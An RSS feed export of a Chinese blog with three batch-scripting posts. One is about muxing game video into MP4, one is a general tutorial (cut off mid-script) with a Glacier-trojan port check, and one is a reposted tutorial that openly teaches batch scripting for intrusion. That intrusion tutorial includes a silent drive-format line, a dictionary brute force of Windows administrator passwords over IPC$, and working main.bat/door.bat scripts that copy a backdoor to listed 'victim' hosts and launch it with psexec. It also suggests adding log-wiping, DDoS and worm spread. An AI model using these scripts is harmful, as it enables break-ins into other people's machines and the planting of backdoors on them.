<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FalconIA&#039;s BLOG &#187; dos</title>
	<atom:link href="https://falconia.org/blog/archives/tag/dos/feed" rel="self" type="application/rss+xml" />
	<link>https://falconia.org/blog</link>
	<description>FalconIA&#039;s Lazy Blog</description>
	<lastBuildDate>Tue, 02 Dec 2014 01:45:41 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.2.38</generator>
	<item>
		<title>利用mp4box批量封装mp4</title>
		<link>https://falconia.org/blog/archives/26</link>
		<comments>https://falconia.org/blog/archives/26#comments</comments>
		<pubDate>Tue, 03 Oct 2006 08:16:39 +0000</pubDate>
		<dc:creator><![CDATA[FalconIA]]></dc:creator>
				<category><![CDATA[压制相关]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[ps2]]></category>
		<category><![CDATA[压制]]></category>

		<guid isPermaLink="false">http://falconia.no-ip.org/blog/?p=26</guid>
		<description><![CDATA[心血来潮突然想RIP TALES系列游戏的CG MOVIE 解开PSS封包后出来大堆nnn.m2v和nnn_adpcm.wav 写好avs扔进MeGUI后生成大堆nnn.mp4 nnn_adpcm.mp4 此时问题来了 MeGUI的mp4封装并不和我意 操作Yamb又太繁琐 那么批处理大显身手的时候到了(其实是现学现卖) mux.cmd &#160; 现在简单了 mux [序数] [前缀] e.g. &#62;mux 01 ..\(PS2)Tales_of_Rebirth_EVENT_ 其实前缀都省了 修改批处理文件就OK 或者连序数都懒得输入，可用for与call合作变成全自动工作 最后清除源 clean.cmd &#160; 转载请注明版权为FalconIA所有]]></description>
				<content:encoded><![CDATA[<p>心血来潮突然想RIP TALES系列游戏的CG MOVIE<br />
解开PSS封包后出来大堆nnn.m2v和nnn_adpcm.wav<br />
写好avs扔进MeGUI后生成大堆nnn.mp4 nnn_adpcm.mp4<br />
此时问题来了 MeGUI的mp4封装并不和我意 操作Yamb又太繁琐<br />
那么批处理大显身手的时候到了(其实是现学现卖)<br />
<span id="more-26"></span><br />
mux.cmd</p>
<pre class="brush: bash; title: ; notranslate">
@echo off
set OUTPUT=%2
if &quot;%2&quot; == &quot;&quot; set OUTPUT=..\(PS2)Tales_of_Destiny_2_CHT_EVENT_%1
if exist %OUTPUT%.mp4 goto exist
if not exist *%1.mp4 goto err1
if not exist *%1_adpcm.mp4 goto err2
if exist *%1.mp4 rename *%1.mp4 %1.mp4
if exist *%1_adpcm.mp4 rename *%1_adpcm.mp4 %1_adpcm.mp4
&quot;E:\WORK\Encoder\mp4box\MP4Box.exe&quot; -add &quot;%1.mp4:lang=jpn&quot; -add &quot;%1_adpcm.mp4:lang=jpn&quot; &quot;%OUTPUT%.mp4&quot; &amp;amp;&amp;amp; &quot;E:\WORK\Encoder\mp4box\mp4tags.exe&quot; -c &quot;compress by FalconIA&quot; &quot;%OUTPUT%.mp4&quot;
goto end
:err1
echo No such file : %1.mp4
goto end
:err2
echo No such file : %1_adpcm.mp4
goto end
:exist
echo Output file existed : %OUTPUT%.mp4
:end
</pre>
<p>&nbsp;<br />
现在简单了<br />
mux [序数] [前缀]<br />
e.g. &gt;mux 01 ..\(PS2)Tales_of_Rebirth_EVENT_<br />
其实前缀都省了 修改批处理文件就OK<br />
或者连序数都懒得输入，可用for与call合作变成全自动工作</p>
<p>最后清除源<br />
clean.cmd</p>
<pre class="brush: bash; title: ; notranslate">
@echo off
if &quot;%1&quot; == &quot;&quot; goto empty
if &quot;%1&quot; == &quot;source&quot; goto source
if &quot;%1&quot; == &quot;all&quot; goto all
if exist *.%1 goto clean
echo No such type files!
goto end
:clean
if exist *.%1 del *.%1
echo Complete!
goto end
:all
if exist *.mp4 del *.mp4
:source
if exist *.m2v del *.m2v
if exist *.wav del *.wav
if exist *.d2v del *.d2v
echo Complete!
goto end
:empty
echo Please type expansion!
goto end
:end
</pre>
<p>&nbsp;</p>
<p><strong>转载请注明版权为FalconIA所有</strong></p>
]]></content:encoded>
			<wfw:commentRss>https://falconia.org/blog/archives/26/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[魔冰]简明批处理教程</title>
		<link>https://falconia.org/blog/archives/25</link>
		<comments>https://falconia.org/blog/archives/25#comments</comments>
		<pubDate>Tue, 03 Oct 2006 02:29:49 +0000</pubDate>
		<dc:creator><![CDATA[FalconIA]]></dc:creator>
				<category><![CDATA[技术杂烩]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://falconia.no-ip.org/blog/?p=25</guid>
		<description><![CDATA[作　者：魔冰 转载自：http://www.keymb.com/p/to33.htm 前言 最近对于批处理技术的探讨比较热，也有不少好的批处理程序发布，但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件，也就更谈不上自己动手编写了，古语云：“授人以鱼，不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们. 批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 语法 echo [{on&#124;off}] [message] Sample：@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 Sample：@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。) 3.Goto 命令 指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 语法：goto label （label是参数，指定所要转向的批处理程序中的行。） Sample： if {%1}=={} goto noparms [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><b>作　者：魔冰<br />
转载自：<a href="http://www.keymb.com/p/to33.htm">http://www.keymb.com/p/to33.htm</a></b></p>
<p>前言</p>
<p>最近对于批处理技术的探讨比较热，也有不少好的批处理程序发布，但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件，也就更谈不上自己动手编写了，古语云：“授人以鱼，不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.<br />
<span id="more-25"></span><br />
批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。</p>
<p>一.简单批处理内部命令简介<br />
1.Echo 命令<br />
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<br />
语法<br />
echo [{on&#124;off}] [message]<br />
Sample：@echo off / echo hello world<br />
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。</p>
<p>2.@ 命令<br />
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<br />
Sample：@echo off<br />
@echo Now initializing the program,please wait a minite...<br />
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)</p>
<p>3.Goto 命令<br />
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<br />
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）<br />
Sample：<br />
if {%1}=={} goto noparms<br />
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<br />
@Rem check parameters if null show usage<br />
:noparms<br />
echo Usage: monitor.bat ServerIP PortNumber<br />
goto end<br />
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</p>
<p>4.Rem 命令<br />
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<br />
Rem Message<br />
Sample：@Rem Here is the description.</p>
<p>5.Pause 命令<br />
运行 Pause 命令时，将显示下面的消息：<br />
Press any key to continue . . .<br />
Sample：<br />
@echo off<br />
:begin<br />
copy a:*.* d：&#92;back<br />
echo Please put a new disk into driver A<br />
pause<br />
goto begin<br />
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:&#92;back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。</p>
<p>6.Call 命令<br />
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<br />
语法<br />
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br />
参数<br />
[Drive:}[Path] FileName<br />
指定要调用的批处理程序的位置和名称。20031110185315.htm 参数必须具有 .bat 或 .cmd 扩展名。</p>
<p>7.start 命令<br />
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<br />
入侵常用参数：<br />
MIN 开始时窗口最小化<br />
SEPARATE 在分开的空间内开始 16 位 Windows 程序<br />
HIGH 在 HIGH 优先级类别开始应用程序<br />
REALTIME 在 REALTIME 优先级类别开始应用程序<br />
WAIT 启动应用程序并等候它结束<br />
parameters 这些为传送到命令/程序的参数<br />
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。<br />
8.choice 命令<br />
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……<br />
如: choice /c:dme defrag,mem,end<br />
将显示<br />
defrag,mem,end[D,M,E]?<br />
Sample：<br />
Sample.bat的内容如下:<br />
@echo off<br />
choice /c:dme defrag,mem,end<br />
if errorlevel 3 goto defrag （应先判断数值最高的错误码）<br />
if errorlevel 2 goto mem<br />
if errotlevel 1 goto end<br />
:defrag<br />
c:&#92;dos&#92;defrag<br />
goto end<br />
:mem<br />
mem<br />
goto end<br />
:end<br />
echo good bye</p>
<p>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。</p>
<p>9.If 命令</p>
<p>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:<br />
1、if "参数" == "字符串" 　待执行的命令<br />
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<br />
如if "%1"=="a" format a:<br />
if {%1}=={} goto noparms<br />
if {%2}=={} goto noparms</p>
<p>2、if exist 文件名　 待执行的命令<br />
如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br />
如if exist config.sys edit config.sys </p>
<p>3、if errorlevel / if not errorlevel 数字　 待执行的命令<br />
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<br />
如if errorlevel 2 goto x2 　<br />
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。</p>
<p>10.for 命令<br />
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable</p>
<p>for {%variable&#124;%%variable} in (set) do command [ CommandLineOptions]<br />
%variable 指定一个单一字母可替换的参数。<br />
(set) 指定一个或一组文件。可以使用通配符。<br />
command 指定对每个文件执行的命令。<br />
command-parameters 为特定命令指定参数或命令行开关。<br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br />
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I</p>
<p>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<br />
支持:</p>
<p>FOR /D %variable IN (set) DO command [command-parameters]</p>
<p>如果集中包含通配符，则指定与目录名匹配，而不与文件<br />
名匹配。</p>
<p>FOR /R [[drive:]path] %variable IN (set) DO command [command-</p>
<p>检查以 [drive:]path 为根的目录树，指向每个目录中的<br />
FOR 语句。如果在 /R 后没有指定目录，则使用当前<br />
目录。如果集仅为一个单点(.)字符，则枚举该目录树。</p>
<p>FOR /L %variable IN (start,step,end) DO command [command-para</p>
<p>该集表示以增量形式从开始到结束的一个数字序列。<br />
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br />
序列 (5 4 3 2 1)。</p>
<p>FOR /F ["options"] %variable IN (file-set) DO command<br />
FOR /F ["options"] %variable IN ("string") DO command<br />
FOR /F ["options"] %variable IN (&#39;command&#39;) DO command<br />
或者，如果有 usebackq 选项:</p>
<p>FOR /F ["options"] %variable IN (file-set) DO command<br />
FOR /F ["options"] %variable IN ("string") DO command<br />
FOR /F ["options"] %variable IN (&#39;command&#39;) DO command </p>
<p>20031110185315.htmset 为一个或多个文件名。继续到 20031110185315.htmset 中的<br />
下一个文件之前，每份文件都已被打开、读取并经过处理。<br />
处理包括读取文件，将其分成一行行的文字，然后将每行<br />
解析成零或更多的符号。然后用已找到的符号字符串变量值<br />
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<br />
的第一个空白符号。跳过空白行。您可通过指定可选 "options"<br />
参数替代默认解析操作。这个带引号的字符串包括一个或多个<br />
指定不同解析选项的关键字。这些关键字为:</p>
<p>eol=c - 指一个行注释字符的结尾(就一个)<br />
skip=n - 指在文件开始时忽略的行数。<br />
delims=xxx - 指分隔符集。这个替换了空格和跳格键的<br />
默认分隔符集。<br />
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<br />
的 for 本身。这会导致额外变量名称的<br />
格式为一个范围。通过 nth 符号指定 m<br />
符号字符串中的最后一个字符星号，<br />
那么额外的变量将在最后一个符号解析之<br />
分配并接受行的保留文本。<br />
usebackq - 指定新语法已在下类情况中使用:<br />
在作为命令执行一个后引号的字符串并且<br />
引号字符为文字字符串命令并允许在 fi<br />
中使用双引号扩起文件名称。</p>
<p>sample1:<br />
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command</p>
<p>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<br />
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<br />
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<br />
取得第二个符号，引用 %j 来取得第三个符号，引用 %k<br />
来取得第三个符号后的所有剩余符号。对于带有空格的文件<br />
名，您需要用双引号将文件名括起来。为了用这种方式来使<br />
用双引号，您还需要使用 usebackq 选项，否则，双引号会<br />
被理解成是用作定义某个要分析的字符串的。</p>
<p>%i 专门在 for 语句中得到说明，%j 和 %k 是通过<br />
tokens= 选项专门得到说明的。您可以通过 tokens= 一行<br />
指定最多 26 个符号，只要不试图说明一个高于字母 &#39;z&#39; 或<br />
&#39;Z&#39; 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<br />
同时不能有 52 个以上都在使用中。</p>
<p>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<br />
用单引号将括号之间的 20031110185315.htmset 括起来。这样，该字符<br />
串会被当作一个文件中的一个单一输入行。</p>
<p>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<br />
括号之间的 20031110185315.htmset 变成一个反括字符串。该字符串会<br />
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<br />
内存，并被当作文件分析。因此，以下例子:</p>
<p>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i</p>
<p>会枚举当前环境中的环境变量名称。</p>
<p>另外，FOR 变量参照的替换已被增强。您现在可以使用下列<br />
选项语法:</p>
<p>~I - 删除任何引号(")，扩充 %I<br />
%~fI - 将 %I 扩充到一个完全合格的路径名<br />
%~dI - 仅将 %I 扩充到一个驱动器号<br />
%~pI - 仅将 %I 扩充到一个路径<br />
%~nI - 仅将 %I 扩充到一个文件名<br />
%~xI - 仅将 %I 扩充到一个文件扩展名<br />
%~sI - 扩充的路径只含有短名<br />
%~aI - 将 %I 扩充到文件的文件属性<br />
%~tI - 将 %I 扩充到文件的日期/时间<br />
%~zI - 将 %I 扩充到文件的大小<br />
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充<br />
到找到的第一个完全合格的名称。如果环境变量<br />
未被定义，或者没有找到文件，此组合键会扩充<br />
空字符串</p>
<p>可以组合修饰符来得到多重结果:</p>
<p>%~dpI - 仅将 %I 扩充到一个驱动器号和路径<br />
%~nxI - 仅将 %I 扩充到一个文件名和扩展名<br />
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<br />
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充<br />
到找到的第一个驱动器号和路径。<br />
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR<br />
在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<br />
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<br />
比较易读，而且避免与不分大小写的组合键混淆。</p>
<p>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。</p>
<p>sample2：</p>
<p>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br />
我们用net use &#92;&#92;ip&#92;ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。<br />
最主要的命令是一条：for /f i% in (dict.txt) do net use &#92;&#92;ip&#92;ipc$ "i%" /u:"administrator"<br />
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<br />
for /f i%% in (dict.txt) do net use &#92;&#92;ip&#92;ipc$ "i%%" /u:"administrator"&#124;find ":命令成功完成">>D:&#92;ok.txt ，这样就ko了。</p>
<p>sample3：</p>
<p>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。</p>
<p>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<br />
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<br />
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<br />
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<br />
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br />
代码雏形：<br />
--------------- cut here then save as a batchfile(I call it main.bat ) -----------------<br />
@echo off<br />
@if "%1"=="" goto usage<br />
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br />
@goto end<br />
:usage<br />
@echo run this batch in dos modle.or just double-click it.<br />
:end<br />
cut here then save as a batchfile(I call it main.bat ) ---------------------------</p>
<p>cut here then save as a batchfile(I call it door.bat) -----------------------------<br />
@net use &#92;&#92;%1&#92;ipc$ %3 /u:"%2"<br />
@if errorlevel 1 goto failed<br />
@echo Trying to establish the IPC$ connection …………OK<br />
@copy windrv32.exe&#92;&#92;%1&#92;admin$&#92;system32 &#038;& if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt<br />
@psexec &#92;&#92;%1 c:&#92;winnt&#92;system32&#92;windrv32.exe<br />
@psexec &#92;&#92;%1 net start windrv32 &#038;& if not errorlevel 1 echo %1 Backdoored >>ko.txt<br />
:failed<br />
@echo Sorry can not connected to the victim.<br />
----------------- cut here then save as a batchfile(I call it door.bat) </p>
<p>这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<br />
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</p>
]]></content:encoded>
			<wfw:commentRss>https://falconia.org/blog/archives/25/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[红色代码]批处理教程</title>
		<link>https://falconia.org/blog/archives/24</link>
		<comments>https://falconia.org/blog/archives/24#comments</comments>
		<pubDate>Mon, 02 Oct 2006 22:13:39 +0000</pubDate>
		<dc:creator><![CDATA[FalconIA]]></dc:creator>
				<category><![CDATA[技术杂烩]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://falconia.no-ip.org/blog/?p=24</guid>
		<description><![CDATA[作　者：红色代码 转载自：http://www.54master.com/space/html/2/3/2/5/8/space.html 学会爱，也学会批处理 第一章 　　这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，你要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。 　　先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个“比较合适的”，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！ 　　按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。 　　OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句“闲话”：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。 　　 　　例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）： ping sz.tencent.com > a.txt ping sz1.tencent.com >> a.txt ping sz2.tencent.com >> a.txt ping sz3.tencent.com >> a.txt ping sz4.tencent.com >> a.txt ping sz5.tencent.com >> a.txt ping sz6.tencent.com >> a.txt ping sz7.tencent.com >> a.txt exit 　　是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离“从服务器中转”那一痛苦的过程。这里>的意思，是把前面命令得到的东西放到后面所给的地方，>>的作用，和>的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。 　　例二、再给出一个已经过时的例子（a.bat）： @echo off if [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><b>作　者：红色代码<br />
转载自：http://www.54master.com/space/html/2/3/2/5/8/space.html</b></p>
<p><b>学会爱，也学会批处理 第一章</b></p>
<p>　　这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，你要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。<br />
<span id="more-24"></span><br />
　　先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个“比较合适的”，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！</p>
<p>　　按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。</p>
<p>　　OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句“闲话”：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。<br />
　　<br />
　　例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）：</p>
<p>ping sz.tencent.com > a.txt<br />
ping sz1.tencent.com >> a.txt<br />
ping sz2.tencent.com >> a.txt<br />
ping sz3.tencent.com >> a.txt<br />
ping sz4.tencent.com >> a.txt<br />
ping sz5.tencent.com >> a.txt<br />
ping sz6.tencent.com >> a.txt<br />
ping sz7.tencent.com >> a.txt<br />
exit</p>
<p>　　是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离“从服务器中转”那一痛苦的过程。这里>的意思，是把前面命令得到的东西放到后面所给的地方，>>的作用，和>的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。</p>
<p>　　例二、再给出一个已经过时的例子（a.bat）：</p>
<p>@echo off<br />
if exist C:&#92;Progra~1&#92;Tencent&#92;AD&#92;*.gif del C:&#92;Progra~1&#92;Tencent&#92;AD&#92;*.gif<br />
a.bat</p>
<p>　　为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。</p>
<p>　　例三，使用批处理脚本查是否中冰河。脚本内容如下：</p>
<p>@echo off<br />
netstat -a -n > a.txt<br />
type a.txt &#124; find "7626" &#038;& echo "Congratulations! You have infected GLACIER!"<br />
del a.txt<br />
pause &#038; exit</p>
<p>　　这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&#038;&和管道命令&#124;，后面将详细介绍。</p>
<p>　　例四，借批处理自动清除系统垃圾，脚本如下：</p>
<p>@echo off<br />
